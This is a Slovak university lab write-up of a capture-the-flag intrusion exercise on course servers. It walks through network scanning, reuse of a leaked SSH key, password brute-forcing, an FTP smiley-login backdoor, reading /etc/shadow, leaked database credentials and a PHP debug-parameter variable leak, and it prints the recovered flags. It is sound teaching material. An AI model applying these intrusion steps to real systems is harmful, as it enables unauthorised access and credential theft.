Fakulta informačních technologií
Vysoké učení technické v Brně

BIS

Bezpečnost informačních systémů

Tajomstvo BIS

Adrián Tóth (xtotha01)

21. novembra 2018

Obsah

1 Úvod

Cieľom projektu bolo uskutočniť APT útok na zadaný server. Výsledok útoku spočíval v odhalení všetkých tajomstiev ktoré boli poukrývané na rôznych miestach. Nasledujúce kapitoly popisujú proces hľadania jednotlivých tajomstiev po pripojení pomocou privátneho kľúča na *bis.fit.vutbr.cz*.

2 Tajomstvá

Kapitola 10	`A_20-11-16-10-01_2808ed0cf1d2ad2024a572ae6075f14cbe9c4e5103493dc088cf846d0ffa9f0d`
Kapitola 13	`B_21-11-22-59-01_fd5e5384449c8f7210aeae754d02913a70e3b0cc52e933ab18dec768a6c346b0`
Kapitola 4	`C_17-11-19-41-01_47533bc4b523ba4f7d0ebef3d25fe654f5ec126bc6a161394b027f4355ed6f64`
Kapitola 8	`D_20-11-14-50-01_167443c9a637757e4f3a88a71d43db93a5a7a53bdb449958ff4d91a8ee87b034`
Kapitola 6	`E_17-11-20-44-01_6454d0f7031b689cccb1bedf8de6f6c0b904eeaa810d7aef98bab5cba308fafe`
Kapitola 7	`F_18-11-22-13-01_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62`
Kapitola 9	`G_20-11-15-40-01_33582fcbcfaf70b70a85dd974c6831aad199fc150b7cc77c2fefaf59e87f9e4e`
Kapitola 11	`H_20-11-21-32-01_e611160adcc74100c8739ad2525739abda3bdc39e471efdb5b27a01a32d0c32c`
Kapitola 5	`I_17-11-20-14-01_adb2020a691f94c4a2b0f3ea1b16c21936567ee6b07f5a3308959c47a1b19abe`
Kapitola 12	`J_20-11-22-38-01_2a87a2c2ad810dfd8d839eae1216c65732cb84a896b730c4ed77c3be966f790f`

Jednotlivé kapitoly popisujúce odhalené tajomstvá sú usporiadané do poradia na základe podľa odhalení.

3 Analýza

Po pripojení na *bis.fit.vutbr.cz* som si najskôr prezrel `$HOME` pomocou „`ls -R -A $HOME`“. Odhalil som v priečinku `.Trash` privátny kľúč používateľa *itcrowd*. Následne na to, som si zistil IP adresu zariadenia pomocou „`ip addr`“. IP adresa zariadenia: `192.168.122.6`, maska siete: `255.255.255.0`. Zanalyzoval som si sieť v ktorej sa nachádza toto zariadenie pomocou „`nmap 192.168.122.6/24 -Pn`“. Vo výstupe som spozoroval *ptest*, tak na základe tohto, som spustil príkaz „`nmap 192.168.122.6/24 -Pn grep -A 6 "ptest"`“. Získal som nasledujúci výsledok:

```
Nmap scan report for ptest1.bis.mil (192.168.122.143)
Host is up (0.00072s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh

Nmap scan report for ptest2.bis.mil (192.168.122.27)
Host is up (0.00049s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
```

```
Nmap scan report for ptest3.bis.mil (192.168.122.22)
Host is up (0.00062s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind

Nmap scan report for ptest4.bis.mil (192.168.122.210)
Host is up (0.0016s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
6667/tcp open  irc
```

Z týchto poznatkov som zvážil, že by som sa pomocou odhaleného kľúča mohol vedieť pripojiť na jeden z hore uvedených zariadení. Popis pripojenia pomocou tohto privátneho kľuča pokračuje v kapitole 4.

4 Tajomstvo *C*

S využitím privátneho kľúča v priečinku `$HOME/.Trash/itcrowd.key` pre používateľa *itcrowd* nachadzájúceho sa na *bis.fit.vutbr.cz* som sa pripojil na zariadenie `ptest3` pomocou príkazu „`ssh -i .Trash/itcrowd.key -l itcrowd ptest3`“.

Po úspešnom pripojení som si znovu preskúmal `$HOME` pomocou „`ls -R -A $HOME`“. Keďže na *ptest3* je otvorený port *http*, tak som vykonal „`cd /var/www/html && ls -R -A .`“. Spozoroval som súbor `/var/www/html/secret.txt` ktorého obsah som si následne chcel vypísať pomocou „`cat secret.txt`“. Výpis nebol možný z dôvodu nedostatočných práv, t.j. *cat: /var/www/html/secret.txt: Permission denied*. Port *http* bol ale otvorený, tak som skúsil zda sa ten súbor neviem stiahnuť pomocou „`curl http://ptest3/secret.txt`“.

```
Ziskali jste tajemstvi
C_17-11-19-41-01_47533bc4b523ba4f7d0ebef3d25fe654f5ec126bc6a161394b027f4355ed6f64
```

5 Tajomstvo *I*

Tajomstvo *I* som získal pokračovaním v analýze priečinka `/var/www/html` po odhalení tajomstva *C* ktoré je popísané v kapitole 4. Pri vypísaní obsahu súbora `/var/www/html/robots.txt` pomocou „`cat /var/www/html/robots.txt`“ som získal tajomstvo *I*.

```
Ziskali jste tajemstvi
I_17-11-20-14-01_adb2020a691f94c4a2b0f3ea1b16c21936567ee6b07f5a3308959c47a1b19abe
```

6 Tajomstvo *E*

Pri pripojení na zariadenie `ptest3` pomocou príkazu „`ssh -i .Trash/itcrowd.key -l itcrowd ptest3`“ sa zobrazila uvítacia správa ktorá obsahova *Riddle of the day*:

```
====== Riddle of the day ======
|>Qefkdp xob klq xitxvp texq qebv pbbj; qeb cfopq xmmbxoxkzb abzbfsbp jxkv;
qeb fkqbiifdbkzblc x cbt mbozbfsbp texq exp ybbk zxobcriiv efaabk.<|
|>Ql zixfj vlro mofwb ork zljjxka: ofaaib bppbkqfxifqfbp<|
==============================
```

Zistil som, že sa jedná o Caesarovau šifru s pousnutím o 23. Dekódovaná správa vyzerala následovne:

```
====== Riddle of the day ======
|>Things are not always what they seem the first appearance deceives many;
the intelligence of a few perceives what has been carefully hidden.<|
|>To claim your prize run command: riddle essentialities<|
================================
```

Po vykonaní príkazu „`riddle essentialities`“ som získal tajomstvo *E*.

```
                                    Ziskali jste tajemstvi
E_17-11-20-44-01_6454d0f7031b689cccb1bedf8de6f6c0b904eeaa810d7aef98bab5cba308fafe
```

7 Tajomstvo *F*

Všimol som si po analýze siete ktorá je popísaná v kapitole 3, že na *ptest4* beží `irc` na porte `6667`. Spustil som si IRC client pomocou „`irssi`“ a následne som sa napojil na *ptest4* pomocou „`/connect ptest4`“. Vypísal som si zoznam kanálov (channels) pomocou „`/list`“.

```
20:20 -!- Channel Users  Name
20:20 -!- #bis 1
20:20 -!- &SERVER 0 Server Messages
20:20 -!- #anonbox 0 Post all your ideas, complaints and everyday issues.
20:20 -!- #itcrowd 0 All IT issues to be discussed here.
20:20 -!- #meetings 0 In this channel you can find transcripts of the meetings.
20:20 -!- #finances 0 Channel for accountants and all monetary operations.
20:20 -!- #internal 1 Internal affairs.
20:20 -!- #general 0 Feel free discuss various topics in here.
20:20 -!- End of LIST
```

Všimol som si že na kanále `#bis` sa nachádza 1 user (používateľ). Pripojil som sa na kanál `#bis` a vypísal som si mená na tomto kanály pomocou „`/names`“.

```
20:26 [Users #bis]
20:26 [@Willie] [ student]
20:26 -!- Irssi: #bis: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
```

Zistil som že `@Willie` je bot z github.com/mikeywaites/willie a má reagovať na určité príkazy začínajúce s bodkou. Zadal som príkaz „`.commands`“ na ktorý mi bot reagoval:

```
20:49 <@Willie> student: I am sending you a private message of all my commands!
```

Otvoril som si privátny chat s botom kde mi `@Willie` poslal všetky príkazy:

```
20:49 <Willie> Commands I recognise: CUKOO, action, addtrace, addtraceback, agreed,
announce, ask, at, ban, bitcoin, blocks, btc, c, calc, ch, chairs, choice, choose,
commands, comment, comments, countdown, cukoo, cur, currency, d, ddg, define, deop,
devoice, dice, dict, distance, duck, endmeeting, ety, exchange, findbug, findissue,
g, getchanneltimeformat, getchanneltz, getctf, getctz, getsafeforwork, getsfw,

20:49 <Willie> gettf, gettimeformat, gettimezone, gettz, gify, gtfy, help, imdb,
in, info, ip, iplookup, isup, join, kb, kick, kickban, length, link, listactions,
lmgify, lmgtfy, load, makebug, makeissue, mangle, mangle2, mass, me, mode, movie,
msg, op, part, py, quiet, quit, radio, rand, redditor, reload, roll, rss, safety,
save, search, seen, set, setchanneltimeformat, setchanneltz, setctf, setctz,

20:49 <Willie> setlocation, setsafeforwork, setsfw, settf, settimeformat,
settimezone, settz, setwoeid, showmask, spell, spellcheck, startmeeting, subject,
suggest, t, tell, temp, time, title, tld, tmask, topic, tr, translate, u, unban,
unquiet, update, uptime, version, voice, w, wa, wea, weather, weight, wik, wiki,
wolfram, wt, xkcd.

20:49 <Willie> For help, do 'Willie: help example' where example is the name of
the command you want help for.
```

Ukončil som privátny chat pomocou príkazu „`/q`“ aby som sa vrátil naspať do kanála `#bis`. Napísal som príkaz „`.CUKOO`“ na ktorý mi ale bot nereagoval, vyskúšal som „`.help CUKOO`“ na čo reagoval:

```
20:56 <@Willie> student: I might spoil you a secret.
```

Znovu som si otvoril privátny chat s botom kde som vyskúšal „`.CUKOO`“ na čo bot reagoval správou:

```
21:13 <Willie> Ziskali jste tajemstvi
F_18-11-22-13-01_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62

21:13 <Willie> Ziskali jste tajemstvi
F_18-11-22-13-01_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62
```

V správe som získal tajomstvo *F*.

```
Ziskali jste tajemstvi
F_18-11-22-13-01_2d04f2e14d44efadf60e1921b8902d2648c65dfe364dbc0cb23da17d4008cf62
```

8 Tajomstvo *D*

Keďže na *ptest4* je otvorený port 53, vyskúšal som dotazovanie nie skutočného DNS servera - 192.168.122.1, ale DNS servera *ptest4* - `192.168.122.210` pomocou `dig`. Pomocou príkazu „`dig @192.168.122.210 ptest4.bis.mil. ANY`“ som zistil NS záznam pre `ptest4.bis.mil` t.j. `bis.mil.` bol NS pre `ptest4.bis.mil`. Následne som znovu poslal dotaz na *ptest4* pomocou „`dig @192.168.122.210 bis.mil ANY`“. Odhalil som, ze tajomstvo sa nachádza v TXT zázname. Poslal som dotaz „`dig @192.168.122.210 bis.mil TXT`“ ktorý mi vypísal tajomstvo *D*.

```
Ziskali jste tajemstvi
D_20-11-14-50-01_167443c9a637757e4f3a88a71d43db93a5a7a53bdb449958ff4d91a8ee87b034
```

9 Tajomstvo *G*

Na *ptest1* bol otvorený FTP port. Vyskúšal som sa pripojiť ale bez správneho prihlasovacieho mena a hesla ma to nechcelo pripojiť. FTP server obsahoval backdoor ktorý fungoval tak, že ak som do prihlasovacieho mena vložili podreťazec „*:)*“ reprezentujúci smajlík a náhodné heslo. Výsledkom bola odpoveď „`220 Opened port 50331, take a look ;)`“ ktorú som využil tak, že som sa znovu pripojil pomocou príkazu „`ftp 192.168.122.143 56530`“. Odhalil som tajomstvo *G*.

```
Ziskali jste tajemstvi
G_20-11-15-40-01_33582fcbcfaf70b70a85dd974c6831aad199fc150b7cc77c2fefaf59e87f9e4e
```

10 Tajomstvo *A*

V priečinku `$HOME/Documents` sa nachádzali 4 súbory. V jednom z nich - `$HOME/Documents/tc48-2008-024-Rev4.pdf` som našiel využiteľnú informáciu - „*Jen Barber, jbarber@ptest1.bis.mil*“, ktorú som odhalil tak, že dostupné zariadenia pri analýze siete (viz kapitola 3) obsahovali reťazec *ptest* a tento email obsahoval slovo *ptest*. Na *ptest1* bol otvorený SSH port tak som sa pokúsil pripojiť pomocou príkazu „`ssh jbarber@ptest1.bis.mil`“ ktoré ale vyžadovalo heslo. Heslo som pomocou metódy brute force a pomocou 50 najčastejších hesiel hneď odhalil - „`welcome`“. Pripojil som sa ako *jbarber* s heslom *welcome*. Po pripojení som začal analyzovať obsah `$HOME` priečinka a následne som prezrel obsah `/etc/passwd` a `/etc/shadow`. Tajomstvo *A* sa nachádzalo v `/etc/shadow` (v poli pre heslo).

```
Ziskali jste tajemstvi
A_20-11-16-10-01_2808ed0cf1d2ad2024a572ae6075f14cbe9c4e5103493dc088cf846d0ffa9f0d
```

11 Tajomstvo *H*

Analýzou priečinka `$HOME` po pripojení na *ptest1* (pripojenie na *ptest1* je popísane v kapitole 10) som odhalil tajomstvo *H* v jednom zo súborov v podpriečinku `$HOME`. Tajomstvo *H* sa nachádzalo v súbore `$HOME/Mail/Trash` ktoré som získal pomocou „`cat $HOME/Mail/Trash`“.

```
Ziskali jste tajemstvi
H_20-11-21-32-01_e611160adcc74100c8739ad2525739abda3bdc39e471efdb5b27a01a32d0c32c
```

12 Tajomstvo *J*

Pri analýze priečinka `$HOME` ktorý je spomenutý v kapitole 4 som odhalil v priečinku `.ssh` rôzne kľúče. Pomocou „`cat .ssh/config`“ som zistil, že používateľ *webmaster* má prístup na *ptest2.bis.mil*. Vyskúšal som sa pripojiť na *ptest2* ako *webmaster* pomocou „`ssh webmaster@ptest2.bis.mil`“. Prihlásnie prebehlo úspešne. Analýzou spomenutej v kapitole 3 som vedel že tu je otvorený port pre HTTP a MySQL. Zanalyzoval som priečinky zariadenia, hlavne `/var/www/html` kde som našiel rôzne súbory. Po dôkladnejšom preskúmaní som odhalil prihlasovacie údaje do databázy v súbore `libs/constants.php` pomocou „`cat libs/constants.php`“.

```
define('DB_DRIVER', 'mysql');
define('DB_HOST', 'localhost');
define('DB_HOST_USERNAME', 'arcturus');
define('DB_HOST_PASSWORD', '16431879196842');
define('DB_DATABASE', 'arcturus');
```

Pripojil som sa do databázy pomocou „`mysql -u arcturus -p16431879196842`“. Zanalyzoval som obsah databázy príkazmy „`use <DB>;`“ a „`select * from <table>`“. Databáza `arcturus` obsahovala tabuľku `contracts` ktorá obsahovala tajomstvo *J*.

```
J_20-11-22-38-01_2a87a2c2ad810dfd8d839eae1216c65732cb84a896b730c4ed77c3be966f790f
```

13 Tajomstvo *B*

Pokračovaním analýzi prečinka `/var/www/html` na *ptest2* (pripojenie na *ptest2* je popísané v kapitole 12) som odhalil implementačnú zraniteľnosť. Pomocou príkazu „`cat index.php`“ som odhalil zraniteľnosť v zdrojovom kóde:

```
/* TODO: DEVELOPMENT ONLY, REMOVE IN PRODUCTION!!!
 *
 * Prints out value of a variable specified by GET parameter debug_variable
 */
if (isset($_GET['debug_variable'])) {
  var_dump(${$_GET['debug_variable']});
};
```

Na základe tejto zraniteľnosti ktorá bola dokonca i popísaná som sa snažil nájsť nejakú premennú ktorú by sa dalo vypísať pomocou tejto zraniteľnosti. Po ďalšej analýze ostatných zdrojových kódov ma zaujal súbor `internal-memo.php`. Pomocou príkazu „`cat internal-memo.php`“ som odhalil:

```
<?php echo $GLOBALS['INTERNAL_MSG']; ?>
```

Teraz som potreboval preniesť túto premennú do odhaleného zranitelného miesta. Dotaz „`curl http://ptest2/index.php`“ nefungoval, ale po správnom dotaze pomocou „`curl http://ptest2/index.php?debug_variable=INTERNAL_MSG`“ som si premennú vypísal:

```
string(104) "Ziskali jste tajemstvi
B_21-11-22-59-01_fd5e5384449c8f7210aeae754d02913a70e3b0cc52e933ab18dec768a6c346b0"
<!DOCTYPE HTML>
<html>
    <head>
        <title>Project Arcturus Home - Project Arcturus</title>
...
```

Odhalil som tajomstvo *B*.

```
Ziskali jste tajemstvi
B_21-11-22-59-01_fd5e5384449c8f7210aeae754d02913a70e3b0cc52e933ab18dec768a6c346b0
```